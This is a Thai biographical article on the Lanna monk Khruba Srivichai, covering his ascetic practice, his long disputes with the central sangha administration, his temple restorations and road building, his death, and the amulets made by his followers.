ครูบาศรีวิชัยรับการศึกษาจากครูบาอุปละวัดดอยแตเป็นเวลา ๑ พรรษาก็กลับมาอยู่ที่อารามบ้านปางจนถึง พ.ศ. ๒๔๔๔ (อายุได้ ๒๔ ปี พรรษาที่ ๔) ครูบาขัติยะได้จาริกออกจากบ้านปางไป(บางท่านว่ามรณภาพ) ครูบาศรีวิชัยจึงรักษาการแทนในตำแหน่งเจ้าอาวาส และเมื่อครบพรรษาที่ ๕ ก็ได้เป็นเจ้าอาวาสวัดบ้านปาง จากนั้นก็ได้ย้ายวัดไปยังสถานที่ที่เห็นว่าเหมาะสม คือบริเวณเนินเขาซึ่งเป็นที่ตั้งวัดบ้านปางในปัจจุบัน เพราะเป็นที่วิเวกและสามารถปฏิบัติธรรมได้เป็นอย่างดีโดยได้ให้ชื่อวัดใหม่แห่งนี้ว่า วัดจอมสรีทรายมูลบุญเรือง แต่ชาวบ้านทั่วไปยังนิยมเรียกว่า วัดบ้านปาง ตามชื่อของหมู่บ้าน &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ครูบาศรีวิชัยเป็นผู้มีศีลาจารวัตรที่งดงามและเคร่งครัด โดยที่ท่านงดการเสพ หมาก เมี่ยง บุหรี่ โดยสิ้นเชิง ท่านงดฉันเนื้อสัตว์ตั้งแต่เมื่ออายุได้ ๒๖ ปี และฉันอาหารเพียงมื้อเดียว ซึ่งมักเป็นผักต้มใส่เกลือกับพริกไทเล็กน้อย บางทีก็ไม่ฉันข้าวทั้ง ๕ เดือน คงฉันเฉพาะลูกไม้หัวมันเท่านั้น นอกจากนี้ท่านยังงดฉันผักตามวันทั้ง ๗ คือ วันอาทิตย์ ไม่ฉันฟักแฟง, วันจันทร์ ไม่ฉันแตงโมและแตงกวา, วันอังคาร ไม่ฉันมะเขือ, วันพุธ ไม่ฉันใบแมงลัก, วันพฤหัสบดี ไม่ฉันกล้วย, วันศุกร์ ไม่ฉันเทา (อ่าน&quot;เตา&quot;-สาหร่ายน้ำจืดคล้ายเส้นผมสีเขียวชนิดหนึ่ง), วันเสาร์ ไม่ฉันบอน นอกจากนี้ผักที่ท่านจะไม่ฉันเลยคือ ผักบุ้ง ผักปลอด ผักเปลว ผักหมากขี้กา ผักจิก และผักเฮือด-ผักฮี้(ใบไม้เลียบอ่อน) โดยท่านให้เหตุผลว่า ถ้าพระภิกษุสามเณรรูปใดงดได้ การบำเพ็ญกัมมัฏฐานจะเจริญก้าวหน้า ผิวพรรณจะเปล่งปลั่ง ธาตุทั้ง ๔ จะเป็นปกติ ถ้าชาวบ้านงดเว้นแล้วจะทำให้การถือคาถาอาคมดีนัก &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ครูบาศรีวิชัยมีความปรารถนาที่จะบรรลุธรรมะอันสูงสุดดังปรากฏจากคำอธิษฐานบารมีที่ท่านอธิษฐานไว้ว่า &quot;...ตั้งปรารถนาขอหื้อได้ถึงธรรมะ ยึดเหนี่ยวเอาพระนิพพานสิ่งเดียว...&quot; และมักจะปรากฏความปรารถนาดังกล่าวในตอนท้ายชองคัมภีร์ใบลานที่ท่านสร้างไว้ทุกเรื่อง อีกประการหนึ่งที่ทำให้ครูบาศรีวิชัยเป็นที่รู้จักและอยู่ในความทรงจำของชาวล้านนาคือการที่ท่านเป็นผู้นำในการสร้างทางขึ้นสู่วัดพระธาตุดอยสุเทพโดยพลังศรัทธาประชาชนเป็นจำนวนมาก ทั้งกำลังกายและกำลังทรัพย์ ซึ่งใช้เวลาสร้างเพียง ๕ เดือนเศษ โดยไม่ใช้งบประมาณของรัฐ แต่เรื่องที่ทำให้ครูบาศรีวิชัยเป็นที่รู้จักกันใน ระยะแรกนั้นเกิดเนื่องจากการที่ท่านต้องอธิกรณ์ ซึ่งระเบียบการปกครองสงฆ์ตามจารีตเดิมของล้านนานั้นให้ความสำคัญแก่ระบบหมวดอุโบสถ หรือ ระบบหัวหมวดวัด มากกว่า และการปกครองก็เป็นไปในระบบพระอุปัชฌาย์อาจารย์กับศิษย์ ซึ่งพระอุปัชฌาย์รูปหนึ่งจะมีวัดขึ้นอยู่ในการดูแลจำนวนหนึ่งเรียกว่าเจ้าหมวดอุโบสถ โดยคัดเลือกจากพระที่มีผู้เคารพนับถือและได้รับการยกย่องว่าเป็น ครูบา ซึ่งหมายถึงพระภิกษุที่ได้รับความยกย่องอย่างสูง ดังนั้นครูบาศรีวิชัยซึ่งมีชื่อเสียงอยู่ในขณะนั้นจึงอยู่ในตำแหน่งหัวหมวดพระอุปัชฌาย์ โดยฐานะเช่นนี้ ครูบาศรีวิชัยจึงมีสิทธิ์ตามจารีตท้องถิ่นที่จะบวชกุลบุตรได้ ทำให้ครูบาศรีวิชัยจึงมีลูกศิษย์จำนวนมาก และลูกศิษย์เหล่านี้ก็ได้เป็นฐานกำลังที่สำคัญของครูบาศรีวิชัยในการดำเนินกิจกรรมทางศาสนาและกิจกรรมสาธารณประโยชน์ อีกทั้งยังเป็นแนวร่วมในการต่อต้านอำนาจจากกรุงเทพฯ เมื่อเกิดกรณีขัดแย้งขึ้นในเวลาต่อมา &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ส่วนสงฆ์ในล้านนาเองก็มีแนวปฏิบัติที่หลากหลาย เนื่องจากมีการจำแนกพระสงฆ์ตามจารีตท้องถิ่นออกเป็นถึง ๑๘ นิกาย และในแต่ละนิกายนี้ก็น่าจะหมายถึงกลุ่มพระที่เป็นสายพระอุปัชฌาย์สืบต่อกันมาในแต่ละท้องที่ซึ่งมีอำนาจปกครองในสายของตนโดยผ่านความคิดระบบครูกับศิษย์ และนอกจากนี้นิกายต่าง ๆ นั้นยังเกี่ยวข้องกับชื่อของเชื้อชาติอีกด้วย เช่น นิกายเชียงใหม่ นิกายขึน (เผ่าไทขึน/เขิน) นิกายยอง (จากเมืองยอง) เป็นต้น สำหรับครูบาศรีวิชัยนั้นยึดถือปฏิบัติในแนวของนิกายเชียงใหม่ผสมกับนิกายยองซึ่งมีแนวปฏิบัติบางอย่างต่างจากนิกายอื่น ๆ มีธรรมเนียมที่ยึดถือคือ การนุ่งห่มที่เรียกว่า กุมผ้าแบบรัดอก สวมหมวก แขวนลูกประคำ ถือไม้เท้าและพัด ซึ่งยึดธรรมเนียมมาจากวัดดอยแตโดยอ้างว่า สืบวิธีการนี้มาจากลังกา การที่ครูบาศรีวิชัยถือว่าท่านมีสิทธิ์ที่จะบวชกุลบุตรได้ตามจารีตการถือปฏิบัติมาแต่เดิมนั้น ทำให้ขัดกับพระราชบัญญัติการปกครองคณะสงฆ์ ร.ศ.๑๒๑(พ.ศ.๒๔๔๖) เพราะในพระราชบัญญัติดังกล่าวกำหนดว่า &quot;พระอุปัชฌาย์ที่จะบวชกุลบุตรได้ ต้องได้รับการแต่งตั้งตามระเบียบการปกครองของสงฆ์จากส่วนกลางเท่านั้น&quot; โดยถือเป็นหน้าที่ของเจ้าคณะแขวงนั้น ๆ เป็นผู้คัดเลือกผู้ที่ควรจะเป็นอุปัชฌาย์ได้ และเมื่อคัดเลือกได้แล้วจึงจะนำชื่อเสนอเจ้าคณะผู้ใหญ่ในกรุงเทพฯเพื่อดำเนินการแต่งตั้งต่อไป การจัดระเบียบการปกครองใหม่ของกรุงเทพฯนี้ถือเป็นวิธีการสลายจารีตเดิมของสงฆ์ในล้านนาอย่างได้ผล องค์กรสงฆ์ล้านนาก็เริ่มสลายตัวลงที่ละน้อยเพราะอย่างน้อยความขัดแย้งต่าง ๆ ก็เกิดขึ้นระหว่างสงฆ์ในล้านนาด้วยกันเอง ดังกรณี ความขัดแย้งระหว่างครูบาศรีวิชัยกับพระครูมหารัตนากรเจ้าคณะแขวงลี้ อำเภอลี้ จังหวัดลำพูน เป็นต้น &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
การต้องอธิกรณ์ระยะแรกของครูบาศรีวิชัยนั้นเกิดขึ้นเพราะครูบาศรีวิชัยถือธรรมเนียมปฏิบัติตามจารีตเดิมของล้านนา ส่วนเจ้าคณะแขวงลี้ซึ่งใช้ระเบียบวิธีปฏิบัติของกรุงเทพฯ ซึ่งเห็นว่าครูบาศรีวิชัยทำหน้าที่พระอุปัชฌาย์โดยไม่ได้รับการอนุญาตจากเจ้าคณะแขวงลี้ จึงถือว่าเป็นความผิด เพราะตั้งตนเป็นพระอุปัชฌาย์เองและเป็นพระอุปัชฌาย์เถื่อน ครูบามหารัตนากรเจ้าคณะแขวงลี้กับหนานบุญเติง นายอำเภอลี้ได้เรียกครูบาศรีวิชัยไปสอบสวนเกี่ยวกับปัญหาที่ครูบาศรีวิชัยเป็นพระอุปัชฌาย์บวชกุลบุตรโดยมิได้รับแต่งตั้งตามพระราชบัญญัติ การจับกุมครูบาศรีวิชัยสามารถแบ่งช่วงเวลาออกเป็น ๓ ช่วงเนื่องจากเป็นระยะเวลาที่ยาวนานเกือบ ๓๐ ปีและแต่ละช่วงจะมีรายละเอียดของสภาพสังคมที่แตกต่างกัน &lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;อธิกรณ์ระยะแรก (ช่วง พ.ศ.๒๔๕๑ - ๒๔๕๓) &lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
การต้องอธิกรณ์ช่วงแรกของครูบาศรีวิชัยเป็นผลมาจากการเริ่มทดลองใช้กฎหมายของคณะสงฆ์ฉบับแรก(พ.ศ.๒๔๔๖)และเป็นการเริ่มให้อำนาจกับสงฆ์สายกลุ่มผู้ปกครองในช่วงพ.ศ.๒๔๕๓ นั้น บทบาทของครูบาศรีวิชัยในหมู่ชาวบ้านและชาวเขามีลักษณะโดดเด่นเกินกว่าตำแหน่งสงฆ์ผู้ปกครอง ดังจะเห็นว่าชาวบ้านมักนำเอาบุตรหลานมาฝากฝังให้ครูบาศรีวิชัยบวชเณรและอุปสมบท เมื่อความทราบถึงเจ้าคณะแขวงและนายอำเภอลี้ ทางการก็เห็นว่าครูบาศรีวิชัยล่วงเกินอำนาจของตน เจ้าคณะแขวงและนายอำเภอได้พาตำรวจควบคุมครูบาศรีวิชัยไปกักไว้ที่วัดเจ้าคณะแขวงลี้ได้ ๔ คืน จากนั้นก็ส่งครูบาศรีวิชัยไปให้พระครูบ้านยู้ เจ้าคณะจังหวัดลำพูนเพื่อรับการไต่สวน ซี่งผลก็ไม่ปรากฏครูบาศรีวิชัยมีความผิด หลังจากถูกไต่สวนครั้งแรกไม่นานนัก ครูบาศรีวิชัยก็ถูกเรียกตัวสอบอีกครั้งโดยพระครู มหาอินทร์ เจ้าคณะแขวงลี้ เนื่องจากมีหมายเรียกให้ครูบาศรีวิชัยนำลูกวัดไปประชุมเพื่อรับทราบระเบียบกฎหมายใหม่จากนายอำเภอและเจ้าคณะแขวงลี้ แต่ครูบาศรีวิชัยไม่ได้ไปตามหมายเรียกนั้น ซึ่งส่งผลทำให้เจ้าอธิการหัววัดที่อยู่ในหมวดอุโบสถของครูบาศรีวิชัยไม่ไปประชุมเช่นกัน เพราะเห็นว่าเจ้าหัวหมวดไม่ไปประชุม ลูกวัดก็ไม่ควรไป พระครูเจ้าคณะแขวงลี้จึงสั่งให้นายสิบตำรวจเมืองลำพูนไปควบคุมครูบาศรีวิชัยส่งให้พระครูญาณมงคลเจ้าคณะจังหวัดลำพูนจัดการไต่สวน ครั้งนั้น ครูบา ศรีวิชัยถูกควบคุมตัวอยู่ที่วัดชัยเมืองลำพูนถึง ๒๓ วัน จึงได้รับการปล่อยตัว &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ส่วนครั้งที่๓ ใน พ.ศ.เดียวกันนี้ พระครูเจ้าคณะแขวงลี้ได้สั่งให้ครูบาศรีวิชัยนำเอาลูกวัดเจ้าอธิการหัววัดตำบลบ้านปาง ซึ่งอยู่ในหมวดอุโบสถไปประชุมที่วัดเจ้าคณะแขวงตามพระราชบัญญัติที่จะเพิ่มขึ้น ปรากฏว่าครูบาศรีวิชัยมิได้เข้าประชุมอีก มีผลให้บรรดาหัววัดไม่ไปประชุมเช่นกัน เจ้าคณะแขวงและนายอำเภอลี้จึงมีหนังสือฟ้องถึงพระครูญาณมงคล เจ้าคณะจังหวัดลำพูน ครูบาศรีวิชัยถูกควบคุมไว้ที่วัดพระธาตุหริภุญชัยเมืองลำพูนนานถึงหนึ่งปี พระครูญาณมงคลจึงได้เรียกประชุมพระครูผู้ใหญ่ในจังหวัดเพื่อพิจารณาเรื่องนี้ ซึ่งในที่สุดที่ประชุมก็ได้ตัดสินให้ครูบาศรีวิชัยพ้นจากตำแหน่งหัวหมวดวัดหรือหมวดอุโบสถและมิให้เป็นพระอุปัชฌาย์อีกต่อไป พร้อมทั้งถูกควบคุมตัวต่อไปอีกหนึ่งปี &lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;อธิกรณ์ระยะที่สอง (พ.ศ. ๒๔๕๔ - ๒๔๖๔)&lt;/strong&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
อธิกรณ์พระศรีวิชัยครั้งที่สองนี้มีความเข้มข้นและรุนแรงขึ้นเนื่องจากเป็นผลมาจากการต้องอธิกรณ์ครั้งแรกถึง ๓ ครั้ง แต่การต้องอธิกรณ์กลับเป็นการเพิ่มความเลื่อมใสศรัทธาของชาวบ้านที่มีต่อครูบาศรีวิชัยมากยิ่งขึ้น เสียงที่เล่าลือเกี่ยวกับครูบาสรีวิชัยจึงขยายออกไป นับตั้งแต่เป็นผู้วิเศษเดินตากฝนไม่เปียกและได้รับดาบสรีกัญไชย(พระขรรค์ชัยศรี)จากพระอินทร์ ความนับถือเลื่อมใสศรัทธาใน ตัวครูบาศรีวิชัยยิ่งแพร่ขยายออกไปอย่างไม่หยุดยั้ง คำเล่าลือดังกล่าวเมื่อทราบถึงเจ้าคณะแขวงลี้และนายอำเภอแขวงลี้ ทั้งสองจึงได้เข้าแจ้งต่อพระครูญาณมงคล เจ้าคณะจังหวัดลำพูน โดยกล่าวหาว่า &quot;ครูบาศรีวิชัยเกลี้ยกล่อมส้องสุมคนคฤหัสถ์นักบวชเป็นก๊กเป็นเหล่า และใช้ผีและเวทมนต์&quot; พระครูญาณมงคลจึงออกหนังสือลงวันที่ ๑๒มกราคม ๒๔๖๒ สั่งครูบาศรีวิชัยให้ออกไปพ้นเขตจังหวัดลำพูน ภายใน ๑๕ วัน พร้อมทั้งมีหนังสือห้ามพระในจังหวัดลำพูนรับครูบาศรีวิชัยไว้ในวัด เมื่อครูบาศรีวิชัยโต้แย้งและทางการไม่สามารถเอาผิดครูบาศรีวิชัยได้ ความดังกล่าวก็เลิกราไประยะหนึ่ง แต่ต่อมา ก็มีหนังสือของเจ้าจักรคำขจรศักดิ์เจ้าผู้ครองเมืองนครลำพูน เรียกครูบาศรีวิชัยพร้อมกับลูกวัดเข้าเมืองลำพูน ครั้งนั้นพวกลูกศิษย์ได้จัดขบวนแห่ครูบาศรีวิชัยเข้าสู่เมืองอย่างใหญ่โต การณ์ดังกล่าวคงจะทำให้ทางคณะสงฆ์ผู้ปกครองลำพูนตกใจอยู่มิใช่น้อย ดังจะพบว่าเมื่อครูบาศรีวิชัยพักอยู่ที่วัดมหาวันได้คืนหนึ่ง อุปราชเทศามณฑลพายัพจึงได้สั่งย้ายครูบาศรีวิชัยขึ้นไปยังเชียงใหม่ โดยให้พักกับพระครูเจ้าคณะเมืองเชียงใหม่ที่วัดเชตวัน เสร็จแล้วจึงมอบตัวให้พระครูสุคันธศีล รองเจ้าคณะเมืองเชียงใหม่ ที่วัดป่ากล้วย (ศรีดอนไชย) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ในระหว่างที่ครูบาศรีวิชัยถูกควบคุมอยู่ที่วัดป่ากล้วย ก็ได้มีพ่อค้าใหญ่เข้ามารับเป็นผู้อุปฐากครูบาศรีวิชัยคือหลวงอนุสารสุนทร (ซุ่นฮี้ ชัวย่งเส็ง)และพญาคำ แห่งบ้านประตูท่าแพ ตลอดจนผู้คนทั้งในเชียงใหม่และใกล้เคียงต่างก็เดินทางมานมัสการครูบาศรีวิชัยเป็นจำนวนมาก ทางฝ่ายผู้ดูแลต่างเกรงว่าเรื่องจะลุกลามไปกันใหญ่เนื่องจากแรงศรัทธาของชาวเมืองเหล่านี้ เจ้าคณะเมืองเชียงใหม่และเจ้าคณะมณฑลพายัพจึงส่งครูบาศรีวิชัยไปรับการไต่สวนพิจารณาที่กรุงเทพฯ ซึ่งผลการพิจารณาไม่พบว่าครูบาศรีวิชัยมีความผิด และให้ครูบาศรีวิชัยเลือกเป็นเจ้าอาวาสหรืออาศัยอยู่ในวัดอื่นก็ได้ เมื่อครูบาศรีวิชัยกลับจากกรุงเทพฯแล้ว ชนทุกกลุ่มของล้านนาก็ได้เพิ่มความเคารพยกย่องในตัวครูบา ดังจะเห็นได้จากความสนับสนุนในการบูรณะปฏิสังขรณ์วัดวาอารามต่าง ๆ ทั่วไปในล้านนาซึ่งต้องใช้ทั้งเงินและแรงงานอย่างมหาศาล &lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;อธิกรณ์ระยะที่สาม (ช่วง พ.ศ. ๒๔๗๘ - ๒๔๗๙) &lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
การต้องอธิกรณ์ช่วงที่สามของครูบาศรีวิชัยเกิดขึ้นในช่วงที่ได้มีการสร้างถนนขึ้นสู่พระธาตุดอย สุเทพเพราะขณะก่อสร้างทางอยู่นั้นเอง ปรากฏว่ามีพระสงฆ์ในจังหวัดเชียงใหม่รวม ๑๐ แขวง ๕๐ วัด ขอลาออกจากการปกครองคณะสงฆ์ไปขึ้นอยู่ในปกครองของครูบาศรีวิชัยแทน เมื่อเห็นการที่วัดขอแยกตัวไปขึ้นกับครูบาศรีวิชัยเพิ่มจำนวนมากขึ้นเรื่อย ๆ เช่นนั้น ทางคณะสงฆ์จึงสั่งให้กลุ่มพระสงฆ์ในวัดที่ขอแยกตัวออกดังกล่าวเข้ามอบตัวและพระสงฆ์ที่ครูบาศรีวิชัยเคยบวชให้ก็ถูกสั่งให้สึก อธิกรณ์ครั้งที่ ๓ นี้ได้ดำเนินมาจนกระทั่ง พ.ศ. ๒๔๗๙ ครูบาศรีวิชัยได้ให้คำรับรองต่อคณะสงฆ์ว่าจะปฏิบัติตามพระราชบัญญัติลักษณะการปกครองคณะสงฆ์ทุกประการ ท่านจึงได้รับอนุญาตให้เดินทางกลับลำพูนเมื่อวันที่ ๑๓ พฤษภาคม พ.ศ.๒๔๗๙ รวมเวลาที่ต้องสอบสวนและอบรมอยู่ที่วัดเบญจมบพิตรเป็นเวลาถึง ๖ เดือน ๑๗ วัน &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
กรณีความขัดแย้งระหว่างครูบาศรีวิชัยกับคณะสงฆ์ฝ่ายปกครองได้ดำเนินมาเป็นระยะเวลาเกือบ ๓๐ ปี นับตั้งแต่ พ.ศ.๒๔๕๑ เป็นต้นมา ตราบกระทั่งวาระสุดท้ายในชีวิตของครูบาศรีวิชัย แต่ในช่วงเวลานั้น ครูบาศรีวิชัยก็ยังคงดำเนินการช่วยเหลือประชาชน เป็นที่พึ่งทางใจและดำเนินการบูรณะ ปฏิสังขรณ์วัดวาอารามต่างๆ ตลอดจนสาธารณะประโยชน์ตามคำอาราธนาอยู่เรื่อยมา &lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;การปฏิสังขรณ์วัดและปูชนียวัตถุทางพุทธศาสนากับการสร้างสิ่งสาธารณประโยชน์ &lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
ครูบาศรีวิชัยได้ชื่อว่าเป็นผู้ถือปฏิบัติเคร่งมาตั้งแต่เป็นสามเณร ดังเห็นว่าท่านเป็นผู้ที่มักน้อย ถือสันโดษ และเว้นอาหารที่มีเนื้อสัตว์เจือปน ตลอดจนงดกระทั่งหมาก เมี่ยง และบุหรี่ ทำให้คนทั่วไปเห็นว่าครูบาเป็นผู้บริสุทธิ์ที่มีลักษณะเป็น&quot;ตนบุญ&quot; คนทั้งปวงต่างก็ประสงค์จะทำบุญกับครูบาเพราะเชื่อว่าการถวายทานกับภิกษุผู้บริสุทธิ์เช่นนั้นจะทำให้ผู้ถวายทานได้รับอานิสงส์มาก เงินที่ประชาชนนำมาทำบุญก็นำไปใช้ในการก่อสร้างสาธารณประโยชน์และบูรณะศาสนสถานและศาสนวัตถุ งานก่อสร้างดังกล่าวเริ่มขึ้นเมื่อปี ฉลู พ.ศ.๒๔๔๒ เดือน ๓ แรม ๑ ค่ำ ครูบาได้แจ้งข่าวสารไปยังศรัทธาทั้งหลายรวมทั้งชาวเขาเผ่าต่าง ๆ ว่าจะวัดบ้านปางขึ้นใหม่ ซึ่งก็สร้างเสร็จภายในเวลาไม่นานนัก ให้ชื่อวัดใหม่นั้นว่า &quot;วัดศรีดอยไชยทรายมูล&quot; ซึ่งคนทั่วไปนิยมเรียกว่า &quot;วัดบ้านปาง&quot; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ขั้นตอนปฏิบัติในการไปบูรณะปฏิสังขรณ์วัดมีว่า เมื่อครูบาได้รับนิมนต์ให้ไปบูรณะปฏิสังขรณ์วัดใดแล้ว ทางวัดเจ้าภาพก็จะสร้างที่พักของครูบากับศิษย์และปลูกปะรำสำหรับเป็นที่พักของผู้ที่มาทำบุญกับครูบา คืนแรกที่ครูบาไปถึงก็จะอธิษฐานจิตดูว่าการก่อสร้างครั้งนั้นจะสำเร็จหรือไม่ ซึ่งมีน้อยครั้งที่จะไม่สำเร็จเช่นการสร้างสะพานศรีวิชัยซึ่งเชื่อมระหว่าง อำเภอหางดง เชียงใหม่ กับอำเภอเมือง ลำพูน จากนั้นครูบาก็จะ &quot;นั่งหนัก&quot; คือเป็นประธานอยู่ประจำในงานนั้น คอยให้พรแก่ศรัทธาที่มาทำบุญโดยไม่สนใจเรื่องเงิน แต่มีคณะกรรมการช่วยกันรวบรวมเงินไปเป็นค่าใช้จ่ายในการก่อสร้าง ครูบาไป &quot;นั่งหนัก&quot; ที่ไหน ประชาชนจะหลั่งไหลกันไปทำบุญที่นั่นถึงวันละ ๒๐๐-๓๐๐ ราย คับคั่งจนที่นั้นกลายเป็นตลาดเป็นชุมชนขึ้น เมื่อก่อสร้างเสร็จแล้วก็จะมีงาน &quot;พอยหลวง-ปอยหลวง&quot; คืองานฉลอง บางแห่งมีงานฉลองถึงสิบห้าวัน และในช่วงเวลาดังกล่าวก็มักจะมีคนมาทำบุญกับครูบามากกว่าปกติ เมื่อเสร็จงาน&quot;พอยหลวง-ปอยหลวง&quot; ในที่หนึ่งแล้ว ครูบาและศิษย์ก็จะย้ายไปก่อสร้างที่อื่นตามที่มีผู้มานิมนต์ไว้ โดยที่ท่านจะไม่นำทรัพย์สินอื่นใดจากแหล่งก่อนไปด้วยเลย ช่วงที่ครูบาศรีวิชัยต้องอธิกรณ์ครั้งที่สองและถูกควบคุมไว้ที่วัดศรีดอนชัย เชียงใหม่ เป็นเวลา ๓ เดือนกับ ๘ วันนั้น ผู้คนหลั่งไหลไปทำบุญกับครูบาไม่ต่ำกว่าวันละ ๒๐๐ ราย เมื่อครูบาได้ผ่านการพิจารณาอธิกรณ์ที่กรุงเทพฯ ซึ่งใช้เวลาอีก ๒ เดือนกับ ๔ วันแล้วครูบาก็เดินทางกลับลำพูนเมื่อวันที่ ๒๑ กรกฎาคม พ.ศ.๒๔๖๓ หลังจากนั้นผู้คนก็มีความศรัทธาในตัวครูบามากขึ้น ครูบาศรีวิชัยเริ่มต้นการบูรณะวัดขณะที่ท่านอายุ ๔๒ ปี โดยเริ่มจากการบูรณะพระเจดีย์บ่อนไก้แจ้ จังหวัดลำปาง ถัดจากนั้นได้บูรณะเจดีย์และวิหารวัดพระธาตุหริภุญชัย ต่อมาได้ไปบูรณะเจดีย์ดอยเกิ้ง ในเขตอำเภอฮอด เชียงใหม่ จากนั้นไปบูรณะวัดศรีโคมคำ จังหวัดพะเยา กล่าวกันมาว่าในวันที่ท่านถึงพะเยานั้น มีประชาชนนำเงินมาบริจาคร่วมทำบุญใส่ปีบได้ถึง ๒ ปีบ หลังจากนั้นมาบูรณะวัดพระสิงห์ เชียงใหม่ เป็นอาทิ รวมแล้วพบว่างานบูรณะปฏิสังขรณ์วัดวาอารามของครูบาศรีวิชัยมีประมาณ ๒๐๐ แห่ง &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ในขณะที่ครูบาศรีวิชัยกำลังบูรณะวัดสวนดอกเชียงใหม่ใน พ.ศ.๒๔๗๕ อยู่นั้น หลวงศรีประกาศได้หารือกับครูบาศรีวิชัยว่าอยากจะนำไฟฟ้าขึ้นไปใช้บนดอยสุเทพ แต่ครูบาศรีวิชัยว่าหากทำถนนขึ้นไปจะง่ายกว่าและจะได้ไฟฟ้าในภายหลัง ทั้งนี้ทางการเคยคำนวณไว้ในช่วง พ.ศ.๒๔๖๐ ว่าหากสร้างทางขึ้นดอยสุเทพนั้นจะต้องใช้งบประมาณ ๒๐๐,๐๐๐ บาท แต่ครูบาศรีวิชัยได้เริ่มสร้างทางเมื่อวันที่ ๙ พฤศจิกายน พ.ศ.๒๔๗๗ และเปิดให้รถยนต์แล่นได้ในวันที่ ๓๐ เมษายน พ.ศ.๒๔๘๘ โดยไม่ต้องใช้งบประมาณเลย ครั้นเสร็จงานสร้างถนนแล้ว ครูบาศรีวิชัยก็ถูกนำตัวไปสอบอธิกรณ์ที่กรุงเทพฯอีกเป็นครั้งที่สอง และงานชิ้นสุดท้ายของท่านที่ไม่เสร็จในสมัยที่ท่านยังมีชีวิตอยู่ก็คือสะพานศรีวิชัยอนุสรณ์ ทอดข้ามน้ำแม่ปิงเชื่อมอำเภอหางดง เชียงใหม่ กับอำเภอเมืองจังหวัดลำพูน &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ในการก่อสร้างต่าง ๆ นับแต่ พ.ศ.๒๔๖๓ ถึง ๒๔๗๑ มีผู้ได้บริจาคเงินทำบุญกับท่าน ประมาณ ๓๐๐,๐๐๐ รูปี คิดเป็นเงินไม่น้อยกว่าสามหมื่นห้าพันบาท รวมค่าก่อสร้างชั่วชีวิตของท่านประมาณสองล้านบาท นอกจากนั้นท่านยังได้สร้างคัมภีร์ต่าง ๆ อีกไม่น้อยกว่า ๓๐๐๐ ผูก คิดค่าจารเป็นเงิน ๔,๓๒๑ รูปี(รูปีละ ๘๐ สตางค์) ทั้งนี้ แม้ครูบาศรีวิชัยจะมีงานก่อสร้างที่ยิ่งใหญ่และมากมาย แต่บิดามารดาคือนายควายและนางอุสาก็ยังคงอยู่ในกระท่อมอย่างเดิมสืบมาตราบจนสิ้นอายุ &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ครูบาศรีวิชัยซึ่งเป็นคนร่างเล็กผอมบางผิวขาว ไม่ใช่คนแข็งแรง แม้ท่านจะไม่ต้องทำงานประเภทใช้แรงงาน แต่การที่ต้องนั่งคอยต้อนรับและให้พรแก่ผู้มาทำบุญกับท่านนั้น ท่านจะต้อง&quot;นั่งหนัก&quot;อยู่ตลอดทั้งวัน ด้วยเหตุนี้ท่านจึงอาพาธด้วยโรคริดสีดวงทวารซึ่งสะสมมาแต่ครั้งการตระเวนก่อสร้างบูรณะวัดในเขตล้านนา และการอาพาธได้กำเริบขณะที่สร้างสะพานข้ามแม่น้ำปิง ครูบาศรีวิชัยถึงแก่มรณภาพเมื่อวันที่ ๒๒ มีนาคม พ.ศ.๒๔๘๑ ที่วัดบ้านปาง ขณะมีอายุได้ ๖๐ ปี ๙ เดือน ๑๑ วัน และตั้งศพไว้ที่วัดบ้านปางเป็นเวลา ๑ ปี บางท่านก็ว่า ๓ ปี จากนั้นได้เคลื่อนศพมาตั้งไว้ที่วัดจามเทวี ลำพูน จนถึงวันที่ ๒๑ มีนาคม พ.ศ.๒๔๘๙ จึงได้รับพระราชทานเพลิงศพ เมื่องานพระราชทานเพลิงศพเสร็จสิ้นจึงได้มีการแบ่งอัฐิของท่านไปบรรจุไว้ตามที่ต่าง ๆ เช่น ที่วัดจามเทวีจังหวัดลำพูน วัดสวนดอก จังหวัดเชียงใหม่ วัดพระแก้วดอนเต้า จังหวัดลำปาง วัดศรีโคมคำ จังหวัดพะเยา วัดพระธาตุช่อแฮ จังหวัดแพร่ และที่วัดบ้านปาง จังหวัดลำพูนอันเป็นวัดดั้งเดิมของท่าน เป็นต้น &lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;วัตถุมงคลของครูบาเจ้าศรีวิชัย &lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ในยุคที่ครูบาศรีวิชัยยังไม่ถึงแก่มรณภาพนั้น ผู้ที่ทำบุญกับครูบาศรีวิชัยจะได้รับความอิ่มใจที่ได้ทำบุญกับท่านเท่านั้น ส่วนการสร้างวัตถุมงคลนั้น ระยะแรก ลูกศิษย์ที่นับถือครูบาศรีวิชัยได้จัดทำพระเครื่องคล้ายพระรอดหรือพระคงของลำพูน โดยเมื่อครูบาปลงผมในวันโกน ก็จะเก็บเอาเส้นผมนั้นมาผสมกับมุกมีส่วนผสมกับน้ำรักกดลงในแบบพิมพ์ดินเผาแล้วแจกกันไปโดยไม่ต้องเช่าในระหว่างศิษย์ กล่าวกันว่าเพื่อป้องกันภยันตรายต่าง ๆ ซึ่งก็ลือกันว่ามีอิทธิฤทธิ์เป็นที่น่าอัศจรรย์ &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
